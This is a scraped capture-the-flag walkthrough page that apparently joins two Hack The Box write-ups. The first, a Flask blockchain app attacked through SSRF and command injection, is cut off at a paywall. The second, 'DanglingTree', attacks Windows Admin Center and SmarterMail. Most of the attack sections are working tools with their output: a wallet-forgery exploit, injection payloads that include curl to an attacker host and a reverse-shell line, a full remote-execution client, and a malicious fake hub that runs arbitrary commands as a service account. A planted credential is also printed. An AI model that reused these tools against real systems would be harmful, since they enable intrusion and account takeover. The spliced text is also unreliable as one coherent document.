Werkzeug httpd 3.1.3 (Python 3.12.3) ``` TTL 63 tells me it's Linux. The full 65535-port sweep shows **only** these two ports. So the entire attack surface is one Flask/Werkzeug app on 8080, calling itself "BlockSynergy – Decentralized Future." **Why aggressive fuzzing is a mistake here:** the Werkzeug dev server is effectively single-threaded and, frankly, fragile. I threw a 50-thread `ffuf` at it and DoS'd the thing for about a minute — every other request timed out while it ran. After that I enumerated by hand, clicking through the app's own pages. It turned out to be faster anyway. ### Mapping the app from the inside Rather than brute-forcing paths, I just scraped the dashboard sidebar and the `/dashboard/api` page. Here's what the app happily tells you about itself: - Wallet stuff lives at `/dashboard/wallet` — POST `action=create` with a `filename`, or POST `action=load` with a file upload. - `/dashboard/info`, `/txn`, `/txn_history`, `/pending_txn`, `/blockchain` all require a wallet bound to your session — you get a 302 back to `/dashboard` otherwise. - VIP-gated pages: `/dashboard/vip/nodes` and `/dashboard/vip/smart_contracts`. - Every page ships JavaScript containing `fetch('/dashboard/vip/nodes/test_node/' + nodeId)`. Remember that line — it's the future SSRF primitive. - There's a public JSON API: `/blockchain`, `/nodes`, `/mining_data`, `/submit_block`, `/broadcast_transaction`. Probing `/admin` and `/admin/nodes/manage` directly gets you a bare 17-byte `403 Permission Denied`. That's an IP-based allowlist — localhost only. I tried every header trick in the book (`X-Forwarded-For`, `X-Real-IP`, `Forwarded`, `X-Forwarded-Host`) and none of them bypass it. That might feel like a dead end, but it's actually a useful signal: the admin panel has to be reached *through* the server itself, not around it. SSRF is the way. This control probe matters later, too — it's what proves the SSRF crosses a real trust boundary instead of just echoing my own request back. ### What I learned by poking the blockchain API These all came from hands-on experimentation, and they shape the entire attack: - **The block hash algorithm.** I reverse-engineered it from the genesis block by trying candidate serializations until one reproduced the published hash: `sha256(f"{index}{previous_hash}{timestamp}{json.dumps(data)}{nonce}")` The `data` part uses Python's `json.dumps` with its default separators (spaces, double quotes). There's a nasty little trap here: Python's `repr(data)` produces single quotes and gives you the *wrong* hash. Only `json.dumps` matches. Get this wrong and every mining attempt you make is doomed from the start. - `difficulty` is the literal target prefix string `"00000"`, **not** a number. Treat it as an `int` and prefix with `"0" * difficulty`, and you silently end up with an empty target — any hash "passes" locally, then the server rejects it or hangs. - Wallet crypto is ECDSA on **NIST256p (P-256)**: a 32-byte private key, public key as raw `x||y` (64 bytes hex), signatures as `r||s`. I verified this by deriving a created wallet's public key from its private key. SECP256k1 fails with "point not on curve"; NIST256p matches. - The session cookie is a random server-side token, **not** a Flask signed cookie — `flask-unsign` can't even decode it. No session-forgery shortcut here. - `/broadcast_transaction` performs **no validation whatsoever**. An empty `{}` returns "Added!". **The warning that shaped the rest of my run:** that empty `{}` I broadcast as an innocent probe? It landed in `pending_transactions` and crashed every page that renders pending data — HTTP 500 on `/dashboard/pending_txn`, and the VIP pages too — for *every user on that instance*. Combined with `/submit_block` hanging forever on valid blocks (more on that below), the instance was effectively poisoned and I had to reset it. Lesson learned the hard way: never submit malformed transactions to this app. **The mining dead end, in detail:** with the hash algorithm cracked, I built valid proof-of-work blocks and submitted them to `/submit_block`. The behavior matrix: - malformed or mismatched block data → fast HTTP 500 - valid PoW + data matching the current pending set → the connection hangs *indefinitely* (I let it run past 972 seconds); the chain never grows, even while the request hangs So the block-commit path simply never returns. The auto-generated blocks stop after the box's first few minutes of uptime, pending stops growing, and mining is pure flavor text. The real road to VIP is the identity flaw in the next section. --- ## 2\. Forging a VIP wallet without mining anything ### The vulnerability Three design flaws stack on top of each other: 1. The public `/blockchain` endpoint exposes every historical transaction — so anyone can reconstruct the balance of every public key that has ever touched the chain. 2. The wallet **load** endpoint accepts `private_key` and `public_key` as *independent* fields. It never checks that the public key is mathematically derived from the private key. 3. The VIP gate trusts the balance of the loaded wallet's `public_key`. You can probably see where this is going. Generate a fresh wallet so you hold a valid private key, find the richest address in chain history, and import a hybrid wallet: `{our_private_key, richest_public_key}`. The app binds that identity to your session and hands you VIP. ### What doesn't work (I tested these so you don't have to) - Slapping `"vip": true` into the wallet JSON — the gate ignores it. 302 either way, on a healthy instance. - Loading a wallet with a forged `"balance"` field — balance is computed from the chain, not your file. - Mining — hangs forever, per the previous section. - Broadcasting a fake payment to yourself and leaning on *pending* transactions — the VIP balance check **does** count pending transactions, so this technically works on a fresh instance. But it pollutes the shared pending pool, and the fake coins vanish if a block ever commits. The historical-balance method is stable and touches nothing. Use that one. ### The exploit ```python #!/usr/bin/env python3 import json from collections import defaultdict import requests BASE = "http://:8080" session = requests.Session() session.headers["User-Agent"] = "Mozilla/5.0" # Create a legitimate local private key. fresh = session.post(f"{BASE}/dashboard/wallet", data={"action": "create", "filename": "fresh"}, timeout=20).json() # Reconstruct balances from the public chain. chain = session.get(f"{BASE}/blockchain", timeout=20).json() balances = defaultdict(int) for block in chain: for t in block.get("data", []): if not isinstance(t, dict) or "amount" not in t: continue amount = int(t["amount"]) if t.get("receiver"): balances[t["receiver"]] += amount if t.get("sender") and t["sender"] != "Blockchain_Reward": balances[t["sender"]] -= amount vip_pub, vip_bal = max(balances.items(), key=lambda kv: kv[1]) assert vip_bal >= 10, "no VIP-capable historical wallet found" forged = {"private_key": fresh["private_key"], "public_key": vip_pub} r = session.post(f"{BASE}/dashboard/wallet", data={"action": "load"}, files={"file": ("forged.json", json.dumps(forged), "application/json")}, timeout=20) r.raise_for_status() assert "Wallet loaded successfully" in r.text print(f"VIP wallet loaded (balance={vip_bal})") ``` The VIP threshold turns out to be low — a balance under 100 was enough on my instance. One operational note: the VIP state is **session-bound**, so you must reuse the same `requests.Session` for everything after this, including the SSRF steps. --- ## 3\. SSRF into the localhost-only admin panel ### The primitive VIP users get Node Management. You can register an arbitrary URL (`POST /dashboard/vip/nodes`, `action=register&node=`), then have the **server** fetch it (`GET /dashboard/vip/nodes/test_node/`) — and the response body gets rendered back to you in a modal. That's a full-read SSRF: whatever the server sees, you see. ### The filter, and how to walk right past it Registration runs through a filter whose name leaks in an error toast if you probe it with an IPv6 literal (`http://[::1]:8080/...` → `Error in is_internal_address: ...`). It blocks `127.0.0.1`, `localhost`, the decimal , and even the shorthand `127.1` — but it accepts **`0.0.0.0`**: ``` http://127.0.0.1:8080/admin/nodes/manage -> "Invalid URL or localhost!" http://localhost:8080/admin/nodes/manage -> "Invalid URL or localhost!" http://0.0.0.0:8080/admin/nodes/manage -> "Node registered!" http://[::1]:8080/admin/nodes/manage -> filter crashes, then rejected ``` From the server's own network namespace, connecting to `0.0.0.0` reaches localhost. It's a classic incomplete blocklist: they enumerated all the loopback spellings they could think of and forgot about the unspecified address. **Why the control pair matters:** a direct request to `/admin` gives a 403; the same URL fetched through the SSRF returns the full "Admin Dashboard" HTML. Only the *difference* between those two results proves the SSRF actually crossed the localhost boundary. ### Operational detail: node IDs are unstable The nodes list gets evicted and reordered between requests — shared instances and cleanup routines mean the whole list can vanish mid-session (I watched it happen). Never assume list index equals ID. Resolve the ID from the VIP page by matching the exact URL row: ```python import html, re def find_node_id(page, url): pairs = [(html.unescape(v), nid) for v, nid in re.findall(r'title="([^"]+)".*?testNode\(\'([0-9]+)\'\)', page, re.S)] return next(nid for v, nid in reversed(pairs) if v == url) ``` One more quirk: the nodes page's table body can render empty while `/nodes` still lists URLs. Trust the API and the `testNode('N')` handlers, not the visible table. ### What the admin panel exposes Through the SSRF I enumerated: `/admin/blockchain` (backup/restore with a `filename` parameter and an upload), `/admin/blockchain/view`, `/admin/blockchain/validate`, `/admin/nodes/manage`, `/admin/nodes/add_node`, `/admin/txn/history`, `/admin/txn/pending`, and `/admin/system` (a "Fetch Sysinfo" action). The money page is `/admin/nodes/manage`, which renders a **Ping** form per node: ``` action=ping_node & target= ``` "Ping a target" in an admin panel almost always means `ping ` in a shell somewhere. That's a command-injection candidate if I've ever seen one. --- ## 4\. Command injection through a URL-parser differential (foothold as walter) ### My first attempts, and why they failed The SSRF only issues GETs — it uses python-requests and always sends GET regardless of the method you send to `test_node` (I verified this by logging requests on a listener I registered as a node). So the action has to be encoded in the registered URL's query string: ``` http://0.0.0.0:8080/admin/nodes/manage?action=ping_node&target= ``` Register that whole string as a node, fetch it via `test_node`, and you reach the ping logic — the manage route reads `request.args`, so GET works for the action even though the form is POST-shaped. Then came the payload experiments: | target= payload | Result | Conclusion | | ----------------------------------------------- | ----------------- | --------------------------------------------- | | 127.0.0.1 | \~1s, empty
 | baseline; ping output isn't captured or shown |
| $(sleep 3)                                      | \~4s              | **injection confirmed, time-blind**           |
| $(sleep 2;sleep 2)                              | \~4s              | spaces and semicolons survive                 |
| $(curl http://:9999/CANARY)       | 0s, no canary hit | **never executed**                            |
| $(echo \\\|base64 -d\\|bash) reverse shell | nothing           | also never executed                           |

See the pattern? Anything containing a second URL (`http://...`) inside `target` died silently. The reason is the other half of the core bug: `ping_node` doesn't hand the raw string to the shell — it **parses the target as a URL first** and extracts a component. An injected inner `http://` makes the parser slice the string differently than the code assumes, and the shell never sees a coherent command. The sleeps survived because they happen to parse as hostname-ish tokens.

### The working payload: parser differential + $IFS + base64

The fix exploits the fact that **two different parsers see the same URL differently**:

- The **registration validator** parses the node URL and checks the *hostname* — so give it your external VPN IP, which passes cleanly.
- The **`ping_node`** handler slices the same string differently (it consumes the userinfo/prefix portion), and *that* portion is what lands in the shell.

The payload structure:

_This post is for paying subscribers only._
### Hack The Box -  HTB danglingTree  Writeup - Meduim - Weekly - August 08th, 2026
URL: https://1337sheets.com/hack-the-box-htb-danglingtree-writeup-meduim-weekly-august-08th-2026/
Last updated: 2026-08-11T09:52:00.000Z
# 

The box is called **DanglingTree**, and the name is the whole punchline — but I'm getting ahead of myself.

Everything below is the long version: what I ran, what came back, what failed, why it failed, and what each failure ruled out — plus the full source of every tool I wrote along the way. I wrote it so the reasoning is reconstructable, not just the winning commands. If you've ever read a writeup that goes "then I reversed the binary" like it's one afternoon's light work — this is the antidote.

**Target:** `dc.danglingtree.htb`, single-DC forest `danglingtree.htb`, Windows Server 2025 Build 26100  
**Difficulty:** Medium  
**Attacker host:** Kali, `tun0` → ``

One housekeeping note: the box moved between addresses while I worked, so `` below means "whichever instance was alive at the time." I replayed the whole path end-to-end on a later instance, and the differences that surfaced are folded into Parts 6, 9.1 and 10.1, plus Appendix A.

---

# Part 0 — Recon, and the shape of the first hours

## 0.1 Port scan

```
53/tcp    domain          Simple DNS Plus
80/tcp    http            Microsoft IIS 10.0        (default page, nothing on it)
88,464    kerberos/kpasswd
135,139,445,593           RPC / SMB / RPC-over-HTTP
389,636,3268,3269         LDAP / LDAPS / GC
443/tcp   ssl/https       cert CN=danglingtree-DC-CA
3389/tcp  ms-wbt-server   cert CN=dc.danglingtree.htb
6600/tcp  mshvlm          <- Windows Admin Center
9389/tcp  adws

```

Port 6600 needs one step of identification. nmap only has a service *label* for it (`mshvlm`); what settles it is browsing the endpoint — `https://:6600` answers with the **Windows Admin Center** web UI and its login form. WAC is Microsoft's browser-based server management plane: you give it Windows credentials, pick a managed node, and it runs PowerShell, file, and task operations on that node *over PS Remoting, as the account you logged in with*. A management plane on an otherwise locked-down DC is the single most interesting thing on the port list, because it turns "I know a password" into "I can run PowerShell on the DC" — from outside, on a port that's reachable while WinRM's 5985 is filtered at the perimeter.

Two observations ended up carrying the whole engagement:

1. **`CN=danglingtree-DC-CA`** — the DC is also an Enterprise CA. On a Windows box of this difficulty that's rarely decoration. It's where the endgame lives.
2. **Port 6600** — the management plane just described.

One more thing worth writing down early: nmap reported `clock-skew 7h00m03s`. File that away. It comes back seven working hours later, at the worst possible moment, at the Kerberos step.

## 0.2 Null-session SMB → the starting credential

Before touching any credential, enumerate shares **anonymously** — a null session costs nothing, and DCs occasionally answer it:

```bash
smbclient -N -L //

```

```
Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
IT              Disk
NETLOGON        Disk      Logon server share
SYSVOL          Disk      Logon server share

```

One non-default share: `IT`. Listing it anonymously works — and so does reading into it:

```bash
smbclient -N ///IT -c 'recurse on; ls'

```

```
\Security
  DanglingTree_RoE_Assessment.pdf      A    28905

```

```bash
smbclient -N ///IT -c 'get Security\DanglingTree_RoE_Assessment.pdf'

```

A mock Rules-of-Engagement / assessment document, planted in a share that **anonymous** users can read. It contains exactly one account:

```
anderson.w : R3dT3am@Acc3ss#01

```

Everything else had to be earned.

**The ACL quirk that hides this — and it's the reason I'm giving it its own paragraph:** the same share *denies* authenticated low-privilege domain users. `smbclient ///IT -U anderson.w` returns `NT_STATUS_ACCESS_DENIED`. Null allowed, domain user denied — backwards from how the world usually works. That inversion is why the share got written off mid-engagement as "presumably restricted to `support-it`" (there's a correction in Part 5, because the write-up itself originally repeated the wrong conclusion): every test had been run **with** credentials, and credentials are exactly what makes the share refuse you.

## 0.3 Enumeration before the foothold

| Attempt                                               | Result                                  | What it ruled out                                                                                                              |
| ----------------------------------------------------- | --------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
| Kerberoast (jake.h, noah.b, svc\_mail, Administrator) | KDC\_ERR\_S\_PRINCIPAL\_UNKNOWN ×4      | No SPNs on those accounts. Also: those names were *guesses* — the errors confirm nothing about whether the accounts even exist |
| AS-REP roast, same list                               | doesn't have UF\_DONT\_REQUIRE\_PREAUTH | No pre-auth-disabled accounts                                                                                                  |
| CN=Deleted Objects                                    | container readable, **empty**           | No AD Recycle Bin angle — worth checking given the box's name                                                                  |
| BloodHound as anderson.w                              | 1 computer, **2 users**, 33 groups      | The directory is ACL-restricted; anderson.w can see only itself                                                                |
| ldapsearch for all users as anderson.w                | one entry: anderson.w                   | Same conclusion, confirmed directly                                                                                            |

That last row is the one that matters. `anderson.w` sits in `OU=External,OU=Contractors` and cannot read the directory. Standard AD enumeration was closed off. Everything had to come from the host itself.

## 0.4 The SmarterMail API phase, and the pivot

With the directory closed and WAC giving me execution on the node (Part 1), I turned to the mail stack — the service that, it turned out, owns SMTP/POP3/IMAP on loopback plus its management API on 17017\. The first hours went into that HTTP API. My working directory ended up holding **\~43 `sm_*.ps1` probe scripts** — every one an attempt at authentication or password recovery through the API. None of them worked.

The way out of that dead end was to stop talking to the API and start reading the product instead. I pulled `SmarterMail.Standard.dll` (36 MB) off the node *through* the API in 400 KB chunks with retry logic, and started reversing the password cipher. Parts 3 and 4 cover that arc in order — first why the API route cannot work, then how the offline recovery did. I'm telling you this up front so the \~40 failed scripts in Appendix A don't come as a shock: this box was not a straight line.

---

# Part 1 — The foothold

## 1.1 Windows Admin Center

WAC doesn't take a plain form post. The login is a four-step handshake:

1. `GET /` → scrape `id="csrf" value="..."`
2. `POST /api/user/key` with that CSRF → the gateway returns an RSA public key as a JWK (`n`, `e`)
3. Build `{"username","password","csrf"}`, encrypt with **RSA-OAEP/SHA-256**, base64 → `packet`
4. `POST /api/user/login` with `{packet, csrf}` → `WAC-SESSION`, `XSRF-TOKEN`, `WAC-TOKEN`; mirror `XSRF-TOKEN` into an `X-XSRF-TOKEN` header

Then execution:

```
POST /api/nodes/dc/features/powershellApi/invokeCommand
{"properties": {"command": ""}}

```

```bash
python3 wac_rce.py 'anderson.w' 'R3dT3am@Acc3ss#01' 'whoami; hostname'
# danglingtree\anderson.w
# dc

```

**Why does this work at all?** WAC connects to the managed node over PS Remoting *as the authenticated user*. `anderson.w` is in `BUILTIN\Remote Management Users` — which is exactly the membership WinRM checks. So the gateway isn't a privilege escalation. It's a proxy that turns "I know a password" into "I can run PowerShell on the DC," from outside, on a port that's reachable when 5985 isn't.

`**wac_rce.py**` — the whole client, since you'll want it. The login is the four-step handshake above; `run()` is one POST to the PowerShell feature endpoint:

```python
#!/usr/bin/env python3
"""WAC gateway login + WinREST PowerShell command execution."""
import json, base64, sys, re, os, urllib3
import requests
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes

urllib3.disable_warnings()
GW = 'https://%s:6600' % os.environ.get('DT_HOST', 'dc.danglingtree.htb')

def b64url_decode(s):
    s += '=' * (-len(s) % 4)
    return base64.urlsafe_b64decode(s)

def login(username, password):
    s = requests.Session(); s.verify = False
    r = s.get(GW + '/', timeout=30)
    csrf = re.search(r'id="csrf" value="([0-9a-f]+)"', r.text).group(1)
    r = s.post(GW + '/api/user/key', json={'csrf': csrf}, timeout=30)
    jwk = r.json()['jwk']
    n = int.from_bytes(b64url_decode(jwk['n']), 'big')
    e = int.from_bytes(b64url_decode(jwk['e']), 'big')
    pub = rsa.RSAPublicNumbers(e, n).public_key()
    data = json.dumps({'username': username, 'password': password, 'csrf': csrf}).encode()
    oaep = padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None)
    packet = base64.b64encode(pub.encrypt(data, oaep)).decode()
    r = s.post(GW + '/api/user/login', json={'packet': packet, 'csrf': csrf}, timeout=30)
    if r.status_code != 200:
        print('login failed:', r.status_code, r.text[:200]); sys.exit(1)
    xsrf = s.cookies.get('XSRF-TOKEN')
    if xsrf:
        s.headers.update({'X-XSRF-TOKEN': xsrf})
    return s

def run(s, cmd):
    url = GW + '/api/nodes/dc/features/powershellApi/invokeCommand'
    r = s.post(url, json={'properties': {'command': cmd}}, timeout=180)
    try:
        j = r.json()
        res = j.get('results') or []
        out = '\n'.join(str(x) for x in res)
        err = j.get('errors') or j.get('exception') or ''
        return r.status_code, out, err
    except Exception:
        return r.status_code, r.text, ''

if __name__ == '__main__':
    user, pw = sys.argv[1], sys.argv[2]
    cmd = sys.argv[3]
    s = login(user, pw)
    code, out, err = run(s, cmd)
    print(out)
    if err:
        print('--- errors ---')
        print(err if isinstance(err, str) else json.dumps(err)[:2000])

```

`**wac_ps1.py**` — the companion that runs a local script file on the node. Note the encoding: UTF-16LE then base64, because that's what `powershell -e` expects. Get this wrong and your script silently runs nothing:

```python
#!/usr/bin/env python3
"""Run a local .ps1 file on the DC via WAC invokeCommand (base64 encoded)."""
import sys, base64, json
import wac_rce

user = sys.argv[1]
pw = sys.argv[2]
ps1_file = sys.argv[3]

with open(ps1_file, 'rb') as f:
    content = f.read()
b64 = base64.b64encode(content.decode('utf-8').encode('utf-16-le')).decode()

s = wac_rce.login(user, pw)
code, out, err = wac_rce.run(s, f'powershell -nop -e {b64}')
print(out)
if err:
    print('--- errors ---')
    print(err if isinstance(err, str) else json.dumps(err, indent=1)[:3000])

```

## 1.2 What `anderson.w` can and cannot do

```powershell
whoami /all

```

```
BUILTIN\Remote Management Users
BUILTIN\Users
BUILTIN\Certificate Service DCOM Access
BUILTIN\Pre-Windows 2000 Compatible Access
Mandatory Label\Medium Plus Mandatory Level

SeMachineAccountPrivilege     Enabled
SeChangeNotifyPrivilege       Enabled
SeIncreaseWorkingSetPrivilege Enabled

```

Nothing exploitable. `SeMachineAccountPrivilege` is the default 10-machine quota, not a lever here.

```powershell
Get-ChildItem C:\Users -Force

```

```
Administrator   anderson.w   noah.b   svc_mail   (+ Public, Default, .NET v4.5 …)

```

**Four profiles — two names we'd never seen in AD.** `noah.b` and `svc_mail` have logged on to this machine. The directory wouldn't tell us they existed; the filesystem did. Remember this trick — profile directories are a user list for people who can't read AD.

Things that failed here, each one informative:

| Command                                      | Result                                                 | Meaning                                     |
| -------------------------------------------- | ------------------------------------------------------ | ------------------------------------------- |
| Get-Service                                  | Cannot open Service Control Manager … Access is denied | anderson.w cannot even *enumerate* services |
| Get-ChildItem C:\\SmarterMail                | empty, no error under \-EA SilentlyContinue            | Directory exists but is denied              |
| Get-ChildItem C:\\Users\\noah.b              | UnauthorizedAccessException                            | Profile is properly ACL'd                   |
| Get-ChildItem C:\\Users\\\*\\Desktop\\\*.txt | nothing                                                | No flag reachable as anderson.w             |

`netstat -ano` did work (no privilege needed):

```
0.0.0.0:5985     LISTENING  4      <- WinRM, but filtered at the perimeter
0.0.0.0:6600     LISTENING     <- WAC
0.0.0.0:17017    LISTENING     <- ?
127.0.0.1:25 / 110 / 143       <- SMTP / POP3 / IMAP, loopback only

```

One process owns SMTP, POP3, IMAP **and** 17017\. That's a mail server with a management API — and 17017 is SmarterMail's. It's bound to `0.0.0.0` but unreachable from outside because the host firewall only publishes the ports nmap found. But we're *inside* that boundary now.

## 1.3 Execution as `svc_mail`

Here's the mechanism: SmarterMail's high-availability join endpoint answers **without authentication** on loopback.

```
POST http://127.0.0.1:17017/api/v1/settings/sysadmin/connect-to-hub
{"hubAddress":"http://:8082","oneTimePassword":"x","nodeName":"dc"}

```

The service then fetches its cluster configuration from `hubAddress` — an address *we* choose — and applies whatever comes back. The response includes a `SystemMount` block. When `MountPath` doesn't exist, the service runs `CommandMount` to bring the mount online. That's CVE-2026-23760.

The full loop, driven by `svc_exec.sh`:

```
Kali: fake_hub3.py listens on 8082 with the command baked in
  → WAC (as anderson.w) runs sm_hub.ps1 on the node
    → node calls its own 127.0.0.1:17017/connect-to-hub
      → node fetches http://:8082/ from us
        → node runs CommandMount as svc_mail
          → output redirected to C:\ProgramData\svc_out.txt
            → WAC (as anderson.w) reads that file back

```

The three pieces, in full.

`**fake_hub3.py**` — the hub we stand up on Kali. The command is baked into the `SystemMount` it serves; the MountPath is randomized per request — and that's what makes the command fire *every* time. With a fixed path, the first run creates it, every run after that sees an existing mount, and nothing executes. That's the kind of detail that makes a working exploit look broken on the second attempt:

```python
#!/usr/bin/env python3
"""Fake SmarterMail hub. Serves a SystemMount with a UNIQUE nonexistent MountPath
per request so the CommandMount always fires. Command read from argv."""
import sys, json, uuid
from http.server import BaseHTTPRequestHandler, HTTPServer

COMMAND = sys.argv[1] if len(sys.argv) > 1 else 'cmd /c whoami > C:\\ProgramData\\svc_out.txt'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8082

class H(BaseHTTPRequestHandler):
    def _body(self):
        ln = int(self.headers.get('Content-Length', 0))
        return self.rfile.read(ln) if ln else b''
    def do_POST(self):
        self._body()
        mount_path = 'C:\\smpwn_' + uuid.uuid4().hex[:8]
        payload = {
            "ClusterID": str(uuid.uuid4()),
            "SharedSecret": "pwnd",
            "TargetHubs": {"a": "b"},
            "IsStandby": False,
            "SystemMount": {
                "Enabled": True,
                "ReadOnly": False,
                "MountPath": mount_path,
                "CommandMount": COMMAND,
                "UseArgumentsInCommand": False
            },
            "SystemAdminUsernames": ["svc_mail"]
        }
        body = json.dumps(payload).encode()
        self.send_response(200)
        self.send_header('Content-Type', 'application/json')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)
        print(f'[+] served mount, MountPath={mount_path}', flush=True)
    def do_GET(self):
        self.send_response(200); self.end_headers(); self.wfile.write(b'ok')
    def log_message(self, *a):
        pass

print(f'[*] hub on :{PORT} command: {COMMAND}', flush=True)
HTTPServer(('0.0.0.0', PORT), H).serve_forever()

```

`**sm_hub.ps1**` — the node-side trigger, run through WAC as `anderson.w`. The only thing that ever changes is `hubAddress` — it must be the current `tun0` address. If it's stale, the node never reaches the fake hub and the exploit fails *silently*, with no error on either side. Ask me how I know:

```powershell
$ErrorActionPreference = 'Continue'
$base = 'http://127.0.0.1:17017'
$body = @{ hubAddress='http://:8082'; oneTimePassword='x'; nodeName='dc' } | ConvertTo-Json -Compress
try {
    $r = Invoke-WebRequest -Uri "$base/api/v1/settings/sysadmin/connect-to-hub" -Method POST -Body $body -ContentType 'application/json' -UseBasicParsing -TimeoutSec 60
    Write-Output "STATUS: $($r.StatusCode)"
    Write-Output "BODY: $($r.Content)"
} catch {
    $msg = $_.ErrorDetails.Message; if (-not $msg) { $msg = $_.Exception.Message }
    Write-Output "ERR: $msg"
}

```

`**svc_exec.sh**` — the driver that wires the whole loop together. The `--ps` mode shows the UTF-16LE encoding rule again; the readback uses `[IO.File]::ReadAllText`, never a child process (you'll see why in a minute):

```bash
#!/usr/bin/env bash
# svc_exec.sh '' — run a command as svc_mail via SmarterMail connect-to-hub,
# capture output to C:\ProgramData\svc_out.txt, read it back as anderson.w via WAC.
# Usage: svc_exec.sh 'cmd /c whoami'   OR   svc_exec.sh --ps script.ps1 (runs ps1 base64)
set -e
DIR=
OUTFILE='C:\ProgramData\svc_out.txt'

if [ "$1" = "--ps" ]; then
    B64=$(iconv -t UTF-16LE "$2" | base64 -w0)
    CMD="powershell -nop -e $B64"
else
    CMD="$1"
fi

# wrap: run command, tee output to OUTFILE
FULL="cmd /c ($CMD) > $OUTFILE 2>&1"

pkill -f '[f]ake_hub' 2>/dev/null || true
sleep 1
cd "$DIR"
nohup python3 fake_hub3.py "$FULL" 8082 > /tmp/hub_driver.log 2>&1 & disown
sleep 1
# clear old output
python3 wac_rce.py 'anderson.w' 'R3dT3am@Acc3ss#01' "cmd /c del /f $OUTFILE" >/dev/null 2>&1 || true
# trigger
python3 wac_ps1.py 'anderson.w' 'R3dT3am@Acc3ss#01' sm_hub.ps1 2>&1 | grep -oE '"success":[a-z]+|Failed to mount' || true
sleep 5
pkill -f '[f]ake_hub' 2>/dev/null || true
echo '=== svc_mail output ==='
python3 wac_rce.py 'anderson.w' 'R3dT3am@Acc3ss#01' "[IO.File]::ReadAllText('C:\\ProgramData\\svc_out.txt')"

```

```bash
./svc_exec.sh 'cmd /c whoami'
# Failed to mount
# "success":false
# === svc_mail output ===
# danglingtree\svc_mail

```

See that `Failed to mount` / `"success":false`? **That's expected and correct.** The mount genuinely fails — the path is nonsense — but it fails *after* running the command. Anyone treating that message as an error will throw away a working exploit.

### First failure

`./svc_exec.sh --ps explore_sm.ps1` returned a wall of XML:

```
Cannot process the XML from the 'Output' stream of 'C:\WINDOWS\system32\cmd.exe':
Data at the root level is invalid. Line 1, position 1.

```

**Cause:** `svc_exec.sh` retrieved the output file with `cmd /c type `. The WAC PowerShell channel captures child-process stdout and tries to deserialize it as **CLIXML** — the format PowerShell uses for remoting. Plain text isn't valid XML, so it throws before returning anything.

**Fix:** read the file inside PowerShell, never through a child process:

```powershell
[IO.File]::ReadAllText('C:\ProgramData\svc_out.txt')

```

This applies to every read through that channel — several of the early probe scripts show the same workaround being rediscovered the hard way.

---

# Part 2 — The mail store

With `svc_mail` in hand, `C:\SmarterMail` finally opens up:

```
C:\SmarterMail\Domains\danglingtree.htb            <- live: one mailbox, svc_mail
C:\SmarterMail\Domains\danglingtree.htb.bak        <- retained copy
    └── Users\ amelia.r  emma.s  liam.m  noah.b  oliver.t  sophia.k  svc_mail

```

A retained copy of the domain, holding six mailboxes that no longer exist live — including `noah.b`, one of the four profiles on the box. Somebody migrated this domain and never threw the old copy away. Happens in real environments all the time, and it's exactly the kind of thing I hunt for first.

`danglingtree.htb.bak\Users\noah.b\settings.json`:

```json
"account_name": "noah.b",
"display_name": "noah.b@danglingtree.htb",
"password_encrypted": "66e7ppLOBF7UdzDv7zK6MJ1rmyUb1Cby",
"password_last_change_utc": "2026-03-26T21:19:49Z"

```

Read that field name again: `password_**encrypted**` — not hashed. 32 base64 characters decodes to **24 bytes**. Not a multiple of 16, so not AES; 24 is exactly three 8-byte blocks, which points at DES or 3DES. That guess turned out right, but I want to be honest: at this stage it was only a guess.

Domain settings, both live and retained:

```json
"allow_show_password": false

```

And here's a trap worth knowing about: the *service* configuration is not under `C:\SmarterMail` (which holds only `Certificates, Domains, Logs, Quarantine, Spool`). It lives under the install directory, `…\SmarterMail\Service\Settings\`.

**`administrators.json`**

```json
{"administrators":[{
  "guid":"",
  "username":"svc_mail",
  "password_hash":"1000::",
  "description":"Primary System Administrator",
  "is_primary_admin":true,
  "can_impersonate":true,
  "can_manage_admins":true,
  "can_view_passwords_in_api":true,        <---
  "enabled":true
}]}

```

Look at that highlighted line: `can_view_passwords_in_api: true`, sitting on an account I might be able to take over. That's the advertised route — become that administrator, call `/api/v1/settings/domain/show-password/`, read `noah.b`'s password back in plaintext. Clean, quick, no reversing required.

It does not work. The next part is why, in full — partly because the failure is genuinely instructive, and partly because I want to save anyone else from repeating it. This is the autopsy of those \~43 probe scripts from Part 0.4.

---

# Part 3 — The SmarterMail API route, and why it's closed

## 3.1 Setting the administrator's password — works

```
POST /api/v1/auth/force-reset-password
{"IsSysAdmin":"true","OldPassword":"x","Username":"svc_mail",
 "NewPassword":"Passw0rd!2026#","ConfirmPassword":"Passw0rd!2026#"}

```

```json
{"success":true,"resultCode":200,
 "debugInfo":"check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"}

```

Unauthenticated, and it succeeds. The `.2`\-suffixed checkpoints are the system-administrator branch. And the write is real: `administrators.json` on disk updated with a new `password_hash`, a new `password_last_change_utc`, and the old hash appended to `password_history_hashed`.

So I can set the sysadmin's password to anything I want. Logging in with it, though…

## 3.2 Logging in with it — fails, five different ways

**Attempt 1 — plain username, no Host header**

```json
{"success":false,"resultCode":401,"message":"LOGIN_FAILURE_DOMAIN_NOT_FOUND"}

```

**Attempt 2 — Host header sweep.** `WebClient` can't set `Host` on .NET Framework (restricted header), so this needed `HttpWebRequest` with `.Host`:

| Host                  | username  | message                            |
| --------------------- | --------- | ---------------------------------- |
| *(none)*              | svc\_mail | LOGIN\_FAILURE\_DOMAIN\_NOT\_FOUND |
| localhost             | svc\_mail | LOGIN\_FAILURE\_DOMAIN\_NOT\_FOUND |
| danglingtree.htb      | svc\_mail | *(empty)*                          |
| mail.danglingtree.htb | svc\_mail | *(empty)*                          |
| dc.danglingtree.htb   | svc\_mail | *(empty)*                          |

I initially misread that empty `message` as possible success — my summary function only recognised a token if it started with `eyJ`. Dumping the raw body settled it:

```json
{"isAdmin":false,"canViewPasswords":false,"accessToken":"",
 "success":false,"resultCode":401,"message":""}

```

401 with an empty message. A *different* failure from attempt 1, but still a failure. I felt clever for about ten minutes there.

**Attempt 3 — reset the domain mailbox instead.** If the *mailbox* `svc_mail` is what login resolves, take that over:

```
